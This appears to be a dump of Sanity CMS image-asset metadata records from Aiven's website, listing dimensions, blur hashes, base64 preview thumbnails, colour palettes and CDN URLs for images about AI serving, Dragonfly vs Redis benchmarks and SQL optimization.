{"_createdAt":"2024-03-06T15:41:56Z","_id":"image-d48b1447871c46cd0ab870f4b96eb9841220182a-3120x2810-png","_rev":"Ryb7WAIP3FuJR683nJfwyL","_type":"sanity.imageAsset","_updatedAt":"2024-03-06T15:41:56Z","assetId":"d48b1447871c46cd0ab870f4b96eb9841220182a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCA,?|Z%0@$y}h00tl}NXTA2adV@Rnoeaw~qMxAenh#$00XS]_S$Eo","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1103202846975089,"height":2810,"width":3120},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1a2426","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#064c86","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7c011","foreground":"#000","population":3.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdc3d2","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#54e3f9","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4d89a5","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7c011","foreground":"#000","population":3.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-for-ai-serving-layer (1).png","path":"images/sczeoy4w/production/d48b1447871c46cd0ab870f4b96eb9841220182a-3120x2810.png","sha1hash":"d48b1447871c46cd0ab870f4b96eb9841220182a","size":330186,"uploadId":"L0w5HVCkY094MStkruwegtXxXk9iqpUq","url":"https://cdn.sanity.io/images/sczeoy4w/production/d48b1447871c46cd0ab870f4b96eb9841220182a-3120x2810.png"} {"_createdAt":"2024-05-20T10:13:20Z","_id":"image-239c117f38fd773df45259418d0fcf9a63ffba37-1567x844-png","_rev":"dpHYNqixoqKfXTNyX65H6w","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T10:13:20Z","assetId":"239c117f38fd773df45259418d0fcf9a63ffba37","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TNsI.*e8=^es~qlRe8ief8e8d?gNg3gL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACZElEQVQokS3S608TdhjF8d9uUIkgEgKDRMSosEEREUHkEpyJi5nvdqdyGTrHjGbTTtzCRaHcShFIq5jtD+2yufb3WQq8ODnvTr7nPE/w9Qd8n2AiQaqayWpmEswm+PEEDxLMVfGwiscJ0rU8r2epkdUWttrZS/J6gIPrgqnTPO4k3UM6SfoT5rv4vZuFJMuXWO0j08dGH7lBsj2stbPexuZZchfY76FwRTDbzLMrLI3xcpwXw6yMkBlhfZTsOPu3KdyhcJu3dzi4xf5Vti+y1sp6K9l2ts8fB6YvszDMyxtkPiMzzuow62NsjJC7wf4t9m6Sv8mfX/DX57xKkmkh08xaEyunBfdbme9ncYTlUVYrYaOsDB0Rbo6xVfFBli+weIatJPkhdnvInmfrLJkmlk8eEz69xPOrzPfxR0UV4l5e9JMZZP0amV5+a+DXahabyHaw13N0kNxFNlqPCb+t4m4tU6eYqWO2jvt1PKjj51M8qudJI8+aeFLL0xqWmtnuYL+X3a7D7Q4pN1qF+GWIh/oqxPhNiPG7EE2EGO+GaDpEP4Ro7qMoXR8tNEdLH0eZtuhVd4z5vminI8qeO/LdT2MwUcN0AzMNTJ0k9SGpwGRgOjAbeFjNQgubHWQ7j+pW6Ar97HQeVc5f5s3g4R+W/NRWMtdWcq+xZLKqJBVKJkPJdCiZDeX46ETZ8pmyXHfZTnc57nRF+f4YXw/EuNsd7SWjN4PR2+FY2bBooqYoVVF10cT7RalQjJOhaDoU3Xvvb7/U/hNXzr2z3fVOtvNfua7/FAaig2tRvq+s0F9yMFTy9nrpf2u+OmkL26w4AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9aeaf","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c478","foreground":"#000","population":0.31,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac8c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven _for_Dragonfly_vs_Aiven_for_Redis_benchmarking_blog.png","path":"images/sczeoy4w/production/239c117f38fd773df45259418d0fcf9a63ffba37-1567x844.png","sha1hash":"239c117f38fd773df45259418d0fcf9a63ffba37","size":113427,"uploadId":"RdD2HrsQ7DRMZYaofTMWCzmHbWO3mtNT","url":"https://cdn.sanity.io/images/sczeoy4w/production/239c117f38fd773df45259418d0fcf9a63ffba37-1567x844.png"} {"_createdAt":"2024-05-20T10:17:39Z","_id":"image-006f77b0f1ee2cb3525ad7f461cd1469e02f9b59-2500x1308-png","_rev":"5dKvdU2b7V4fiIIxYxZvM0","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T10:17:39Z","assetId":"006f77b0f1ee2cb3525ad7f461cd1469e02f9b59","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOQ0gt-;t6j]-:%M%2RjWBt6~pM{IVWBM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACAElEQVQokV2Sy2sTURTG83cJoiuh6DJL7UrFVRUpFcVKrVIQBZfdWFEaFdEsTNHUNJq2phXR0tQ0SZvHJJNkmsm87z333pnM3Lkp00QR4Vuc1+9w4DsxRAUiHJMAKAcmgA3/Fx0HJuJVCRdKZkMGG3Ngw5jhcKVHDA0Ae0BDTAXQEOhoiyCuIOykwkSzQ5YSxVv3118nK12VARMxwwkUlRk6A/AJCwkThPKT6aFDQhP5FvIRBISF5ao9M7d+9sKrh0+2GzImroghKhzgmIQOcNXwlB7RTRcT7gA/qDufsq1MTpZkDDQsHVo37345de7l3KN8o4UieHweE+0j9jEjvXhT/Pa9Y9ie6QxSnxuXp9JTM5nN7Q4CXq5a07NfT08szz/eash/YEyHDojCvnVnfjM+mVxc2un0QDO9xLvyRPxtfDKZzkoWCooH9vS93JnziQf/wg4IzeI/C8bsQv7i1dSz5b22Qrp99/1K7cr19I3baxtb3b7h75Xthac/Ll1bWXy+K3dJBGMqbAg1y681UXajlVqt7+7rmjXo6e7O735qtba2Lksy6FYgyZDLtz+k678Kmm75kVWayRQVKapzpOKeRnTLs4FjGto40Ey3b7im4yMSIhIa9qBvMM3ybMwjR9kw1pS1UqVZOZQ7imnjAVAxagATeGx4lOJI4q9Gb3MMlh8IaW4TRfMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#445c7c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1c84","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5f6792","foreground":"#fff","population":0.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7bab2","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#acbcfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f6792","foreground":"#fff","population":0.56,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#464ab6","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-for-dragonfly-vs-aiven-for-caching-throughput.png","path":"images/sczeoy4w/production/006f77b0f1ee2cb3525ad7f461cd1469e02f9b59-2500x1308.png","sha1hash":"006f77b0f1ee2cb3525ad7f461cd1469e02f9b59","size":26047,"uploadId":"EFQiDNcgvjDVUtTB5lVY374o6Z41G63o","url":"https://cdn.sanity.io/images/sczeoy4w/production/006f77b0f1ee2cb3525ad7f461cd1469e02f9b59-2500x1308.png"} {"_createdAt":"2024-03-28T09:44:35Z","_id":"image-b4f5319c8cb538440d24e4a24b1fc406ed25e9d3-512x512-png","_rev":"jtKCOwvZznpSK3bAV6eoeL","_type":"sanity.imageAsset","_updatedAt":"2024-03-28T09:44:35Z","assetId":"b4f5319c8cb538440d24e4a24b1fc406ed25e9d3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMECzpt610V?$$yZngf-ads,BCa0$jjZWUIVV?nhozR*E1V@xDWXWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEsUlEQVQ4jQXBWVMaBwAA4M3RJp1MT5tOhpjmPq1JxCQmMYhauQ8FFNiFhQVZZZdDWI41LDfrAQpBRIkgKB54JI0xkKamOTo9Jm3TvOQxnWmm/SX9PuAo88LlztZbUlGbXNYiETEF/Ks9slYVxNPDkB0z+30oRWm9pNATvuiaYDimPnVMf+7IHnfNNpFzwEUOl63WigdsPTavEHfxcY+CHNFH0pbxTDCbnywtxXIFZzIHp9c4008ap54dTj0/lnrGyjyVzf4ICPBhODqDpStYZsOQXEHTFbK4Pb7yKLu2Nb+5VVi/F88VvIlpx3TFUn6hXnrVtfAnt/xGV3mDb/wFgKEsUagFNn51L7/E84+9C9+Pr2xPL64WlpdLS+WpbNZL+QftzqHgiC+zQOQfoKXnhuU/0Mprw/LvgD464y1WI5s/e5Z2LLmt4MLDbHmtWJhbK969P58rJccjLpsDRYZsVlcgSiRm8OwmMrejnH0qzvwAYHSazFWCi1tEbhWbyIem55dK8y/WSq83im8q+d+KU9VUZClMJDxWl8uDUVF0dAaeXFHEVyQjZcAdvxPIlfxzZUdqFo8l6IlkrZx/V638V115f7/093r+bXnql2y0Qnv9XrfR7kFuj/QnCshESTM2B1hjY2Qm587ksHjaSicmksmf1kr/1Nb+fbD0fr34bnXu7eLUq1n6u7g/PEyCRrMMtYG+UXVgQk6OAHKHBw6OqAN0r5/WBWhfKFRJjdaSdI2mdmiqGvNVx4OP4v5SkHDimKgP7FJphf02DmJlQSjQOWATOCku4eeRUTHhQ9D+iBkJ61XDym6/WuZX94QQKIoihLa3m89jdfH4Kq3QYGGD6HWFDriqMbUNEm1D1E1X6KYB02nBSbshhetpky6MQGGtIqxTekE5zO/svNbc1cYCQUisx24qTS0KBLim0rUi2A2z+6LJ0SDpRXVQhSZricDjeOReaHjRjS8PW+cI1A8r9MJvUYnAqoGEKuSKCGTyFIB0EOea8BYYPSPtO81imfVQNRl7eYeuxaj1Ycc6aavFvNu0967b7EdASg/Z9AhHpmliCb9htgJyM85F0EZRz6Gm5hONFzBY/TAZ26Z9s7hx0qApOs1Pxnw7k8Fy2DNqG3DCkEymutIhPnmeeZhxDOBpDeL+wWah9ODR08frTxp7lQu0v3zbnjZpxmFVxmLYjJKPkpHSaCDmwFVi0YVL17861vDxZwf3f3QAkCCo0ePhK6H6I2cZdV+LOaJUgFyNegrOwZzVOO8aWAg4F8aC03QoQFikEkH9ifP7DtTt3vPhrt17AQGCgnYHW9LDOHKm7sujV250UD5fJZssRqk85cr5hkadWMzrjN12DQ2hEri3sY1Vxzjywb79u/bsBZhy8LoSPNfKPnSygXHu8lWByBrwJdPJMOUnnQ6bGdVr1ZZ+mMB0EKrkDYDt+r7LXezDZ059UvcF0CCWXZL3nmK1MxqYDewO8YDW5Blwe6yE3aqDtb1yqVYhwjXdCCzh6qTtqIqDaXiDmg5I3sxhAy1y+S1QfZbdXn+p6YZc2OfQKnUCp15K240YpNB3cwlIMKThS1WcVljShqq4uEbq7O8jLX1ey/9khgAb8JnZXgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314a4f","foreground":"#fff","population":8.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a7cb4","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#927268","foreground":"#fff","population":8.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c49688","foreground":"#000","population":8.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb2a2","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#927268","foreground":"#fff","population":8.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1294c8","foreground":"#fff","population":1.25,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"phc - Philippe Charrière.png","path":"images/sczeoy4w/production/b4f5319c8cb538440d24e4a24b1fc406ed25e9d3-512x512.png","sha1hash":"b4f5319c8cb538440d24e4a24b1fc406ed25e9d3","size":411812,"uploadId":"qK2VOAlJ6IaDk04vTqQoGsEmby71tSHn","url":"https://cdn.sanity.io/images/sczeoy4w/production/b4f5319c8cb538440d24e4a24b1fc406ed25e9d3-512x512.png"} {"_createdAt":"2024-02-15T15:31:01Z","_id":"image-722a212d049c6fb8fcddc09a5fb83c8999b37256-2400x2320-png","_rev":"UjGmMOs0V2SxB808hz0qGi","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:31:01Z","assetId":"722a212d049c6fb8fcddc09a5fb83c8999b37256","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eDB3Qr}tHX=|?vELJ7S~S2V@ELNaXSNuaKRPR*ozjYRjRPWVt7jZRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0344827586206897,"height":2320,"width":2400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAADcElEQVQ4jc2UW28bVRSFT00y43HGc7FzKZ7Zx2kb22M7UC5CvAD2+BKPLzO+1EI1oqpIoLQuNE1SibRRAqQZO3IynqbJjIuKoK/9W/wDfgHoJK5wqfPGAw9L6zx92uesfRbCGH+EMf4EY6xijFMY4yTGmI1Eoujr9iq6fW8D/fHnXyimxOn5+fmLOBy+AoCTAPAeAHwAAO8DwBUAYAAAISWxOB9TEpejsfhCVIkvxOKJUDy56O0+/RWZluPZOzyhuvaAfrC1671+4yt/oaTz77x7lcMYCwAwDQCzABAAAB8AeFFGM0S1oAtqoSKk82VeLVTYjGZM3lnbRF17MGFazpRpOf6uPfD3jp9PWe5vTKfvTixEohOyLBOIfygWADhUrF8Xi/WWoNVbgWKj5S81Wmyh+jl1+/4PF7r2gCIw03JE03KCe4cnfKfvsluPe3QkGqVkWSIgcTghR86oZjRnWuV68EapFvyiXBfrepPX9CZ96/4mAdKm5fBDIBHftQfcTseiI5EoLcsygfBDGNE0Wi7Vgtu5YnA/sxT8OacFvilVOb1yjVpZe3hh/2xCdlRde8DumBYVjcZoSZJ8GGMKAN4CAOI8ahcN8SCTF09S2YCt5oRVTWerlcbkyvopcNK0HN+ImP0nz5jtvQMqpiiUJIW8OBz2kHQBgDiLVjVdPErnAs8/U6edVFbcKFT8tXJjcnn90Tig7xVQUeLnA4/T2cDvn6aDz1IZ8cGbQGZUBLhlWtSColChUMgbDoc9eBT4naaLfTUv/pLKBI7TWWGtUPFXx0zYId53mZ7lMEcbm3QtkfBGZMkrYeyZGwXe1QzxQM2LbiobeJI+/w0JcM8eMPa+7Xt5c8W3vbg49TEGJgDYQ0vSP8A7RUPoZZaEk/RpKPw9TWcNAjxL+dWVz4B9l7F6T30vbt1lvk8mfVcBmFmMPZwsjw/FTWXHveHrodgD5vGPHepDJU6BJHkxDnvk/0Uo5r/28Ny1aZNQMnnRIaH8F4vd1gzhUB0Cx6d8GsqbwDglDa/8GvDbYjX4U06b6WaW5naz2nS7aHAEuLz+CA2BpL64oUiNTe10Tv8yJZ/9ZRoAJgCAOIcaenPuy3L94s1y/W3iTf2aWDaa1PLaQ9TpuwQomJYzY1rOLPFO3xV2e0fUpUuXSRmQkg0O64v4zN8a1JIR5aXa1AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58443c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#611a1d","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6f3239","foreground":"#fff","population":0.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#692f36","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5a3a9","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f4c53","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f3239","foreground":"#fff","population":0.44,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-truncate.png","path":"images/sczeoy4w/production/722a212d049c6fb8fcddc09a5fb83c8999b37256-2400x2320.png","sha1hash":"722a212d049c6fb8fcddc09a5fb83c8999b37256","size":122007,"uploadId":"gEefc4GjjWiUbiYA6uQt7wss97RH8Qdm","url":"https://cdn.sanity.io/images/sczeoy4w/production/722a212d049c6fb8fcddc09a5fb83c8999b37256-2400x2320.png"} {"_createdAt":"2024-02-15T15:30:56Z","_id":"image-25356e62358ee5bc3b908df6ff581fdb40fbe363-2362x1010-png","_rev":"UjGmMOs0V2SxB808hz0oZR","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:30:56Z","assetId":"25356e62358ee5bc3b908df6ff581fdb40fbe363","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M58XRl_4ITay0000Di.8t7?cM{Ri9EIAxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3386138613861385,"height":1010,"width":2362},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB3klEQVQokV2PwWoTURSGT2aSiZOYtLXR1GH+MzOJMROT1HYjtVifQEQUBaEKRSgiLoqL2oVUQW9oqyc1qTfUKCpoN65cCIIbwb0+gE/gW0SmXEW6+Pi5nMv3n0MA6AA2gDKACECBmQ/OcwACAG0AMyanAcwm0J2VVRqNRtRstVNhGGaZgzFm9gAwgGNGkDZFCS6AKQA1AHWTJ02G9OX7T1pcWiYnbVme5x31fb/xX+uMESdSx+CaC1rMPMtBcDpJADGAEj3a2LZ2Xu9ZV6/fSLfa0xP1uBHW4ziqVKsBcxAxc4mZnSAI7ARmtn3fz4dh6MeNRvVUs1WJoihMtmZml5ToQqc7KD5+ulNYe9gprqw+mLh7b6148fI1J22RTUQpIqL764r2Pn2lH79+09z8QurCpSvOzVu3c4tLy+6ZufnMVLlsnajVaF+oRBc73cH4xvPdI1v9YWmrP5wU/Sbff/Uhu737LrPZG1pKdKrTHaSUaHuz99LpDt66veH77MfP36yksFKtUj7n7guTz7YSnVOifSW6rkQ3lOhYia4p0ceVaFeJTivRGSU6q0SPPXn2YjK5ar0jtud5lNBstfeFfzlkZOeV6AUl+pwSfVaJjkyZY4QJyXtciT5slvnn+QPagKHeniesQwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4042","foreground":"#fff","population":0.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":0.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#838587","foreground":"#fff","population":1.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267272","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bdddd","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#838587","foreground":"#fff","population":1.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfbf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-column-type.png","path":"images/sczeoy4w/production/25356e62358ee5bc3b908df6ff581fdb40fbe363-2362x1010.png","sha1hash":"25356e62358ee5bc3b908df6ff581fdb40fbe363","size":70601,"uploadId":"bk0nyValaMIBa2XR65X6oyXdaPJENaPN","url":"https://cdn.sanity.io/images/sczeoy4w/production/25356e62358ee5bc3b908df6ff581fdb40fbe363-2362x1010.png"} {"_createdAt":"2024-02-15T15:30:59Z","_id":"image-143bfd76b516d9958add46f1c4cce5810cdbb47b-3200x1510-png","_rev":"UjGmMOs0V2SxB808hz0pgT","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:30:59Z","assetId":"143bfd76b516d9958add46f1c4cce5810cdbb47b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M74MX-w6hlT:TWoMofkBjaayQCt%q9U}Z+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.119205298013245,"height":1510,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAACLElEQVQokU2Sy2oUQRSGT/ruXJKeJKMgTp26X3o6k+7OZKIEF0IuM4EBETfJOqALfQ43PoGgCzEEM6Irs/ZdfA9HahSx4OPAgfo4VecHrfW6RymVSyk3pZRbWuueMSb/20+U03AfOlDOG7g3fgB5dwNQUkCKQCkFxtiqesBam2mt7wghupzzXAjhRR1rbUtr3VJaxaa0sIRfoC8bKN4cQvH2MSDHNUJIgoiZhxCSESSZFyZKqZQx1mWM9bxUKtky1qRKqswcDuPq3VFUX58m1dVJsvvxOKo+nQTiiYuR4joS7BNC+oi47fHC+D9h7qVS/hFKITN3vpfWV6fd+mbarz9Pe/X1abteTFN3Oc6Y4j1E9LJNRFwNA0VRRMaYmHOeMcZanHP/1LQoh7FxJi5fHCRe2Cxm281i1qtvpq3m21k6fHWQcSdzSukWpdTfS621KYxGo7Asy0ApFTDGQilluLOzE0wmk2B3vwrKi/2wfn8cNV/PkubLLG4Ws3B8Ow/cxV7EregwxtYppSnnPLLOxas/1FrHQoiIMupr7JwLq6oKh+UwtKUN7MjB8OUEqucPof5wAkfL16D27RqXPGKMxYgYUkYDKWUASqmulLIthGhzzjtCiI7funMu1VpnSqnIWAPL5RLcvAJ/Dn48g20AoHcJUKSAiCtWsfFZM8b4vG1IKXOfR2ttpyiKljGm7ac3hQEBW1A8bWD8fQ7j2zk8+nkOXQAgA/JPOBgM4Dfo3mvUBoDrzQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#273f2f","foreground":"#fff","population":0.38,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14341c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#273f2f","foreground":"#fff","population":0.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a6e3b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9fdaad","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#2a6e3b","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#46b863","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-materialized-views.png","path":"images/sczeoy4w/production/143bfd76b516d9958add46f1c4cce5810cdbb47b-3200x1510.png","sha1hash":"143bfd76b516d9958add46f1c4cce5810cdbb47b","size":206348,"uploadId":"BU75Qjw525XIEd1GLrgEGahR5Wt3wyRb","url":"https://cdn.sanity.io/images/sczeoy4w/production/143bfd76b516d9958add46f1c4cce5810cdbb47b-3200x1510.png"} 